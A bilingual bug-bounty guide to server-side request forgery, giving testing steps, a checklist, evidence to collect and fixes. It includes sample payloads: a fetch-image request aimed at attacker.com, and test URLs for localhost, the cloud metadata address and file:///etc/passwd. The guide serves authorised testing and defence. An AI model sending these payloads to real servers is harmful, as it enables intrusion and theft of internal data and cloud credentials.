SSRF | The Hack Sparrow

What it is

You get the target's own server to make a request to a URL you control —

POST /api/fetch-image {"url": "https://attacker.com"}

and the server actually visits that URL.

Why it matters

It turns the server into your proxy for reaching things you shouldn't be able to reach directly — internal services, cloud metadata endpoints, anything sitting behind the same firewall as the app.

Where to look

Import-image-by-URL, webhooks, link previews, PDF/screenshot generators
Import-from-URL features, format converters, avatar-by-URL, third-party integrations

How I test it

Find a feature that accepts a URL.
Point it at Burp Collaborator or a server you control.
Confirm a request actually arrives, and check whether it came from the server or from the victim's own browser (that distinction matters — see the client-side variant below).
Test whether it follows redirects, and whether internal ranges are blocked:
```
http://127.0.0.1
```
,
```
http://169.254.169.254
```
(cloud metadata),
```
file:///etc/passwd
```
.

Hunting checklist

Found a URL-accepting feature
Confirmed a real out-of-band request using Collaborator or a controlled server
Confirmed it's the server making the request, not the client
Tested redirect-following
Tested internal IP ranges and the metadata endpoint — carefully, and only where the program's rules allow touching cloud metadata

Evidence to collect

The request that accepts a URL
Proof of an out-of-band callback (Collaborator log or your own server log)
Response showing internal content, if reachable
Confirmation the request originates server-side

Recommended fix

Allowlist destinations instead of blocklisting
Block requests to internal/private IP ranges and the cloud metadata address at the network layer
Disable redirect-following on server-side fetches, or re-validate after each redirect
Restrict URL schemes to http/https

Qué es

Consigues que el propio servidor del target haga una petición a una URL que tú controlas —

POST /api/fetch-image {"url": "https://attacker.com"}

y el servidor visita de verdad esa URL.

Por qué importa

Convierte al servidor en tu proxy para alcanzar cosas a las que no deberías poder llegar directamente — servicios internos, endpoints de metadata cloud, cualquier cosa detrás del mismo firewall que la app.

Dónde buscar

Importar imagen por URL, webhooks, vistas previas de enlace, generadores de PDF/screenshot
Funciones de importar desde URL, conversores de formato, avatar por URL, integraciones con terceros

Cómo lo pruebo

Encuentra una función que acepte una URL.
Apúntala a Burp Collaborator o a un servidor propio.
Confirma que llega de verdad la petición, y comprueba si viene del servidor o del propio navegador de la víctima (esa distinción importa — ver la variante client-side más abajo).
Prueba si sigue redirecciones, y si bloquea rangos internos:
```
http://127.0.0.1
```
,
```
http://169.254.169.254
```
(metadata cloud),
```
file:///etc/passwd
```
.

Checklist de hunting

Encontrada una función que acepta URL
Confirmada una petición real fuera de banda con Collaborator o servidor propio
Confirmado que es el servidor quien hace la petición, no el cliente
Probado si sigue redirecciones
Probados rangos IP internos y el endpoint de metadata — con cuidado, y solo donde las reglas del programa permitan tocar metadata cloud

Evidencias para el reporte

La petición que acepta una URL
Prueba de una llamada fuera de banda (log de Collaborator o de tu propio servidor)
Respuesta mostrando contenido interno, si era alcanzable
Confirmación de que la petición se origina en el servidor

Mitigación

Allowlist de destinos en vez de blocklist
Bloquear peticiones a rangos IP internos/privados y a la dirección de metadata cloud a nivel de red
Desactivar el seguimiento de redirecciones en fetches del servidor, o revalidar tras cada redirección
Restringir los esquemas de URL a http/https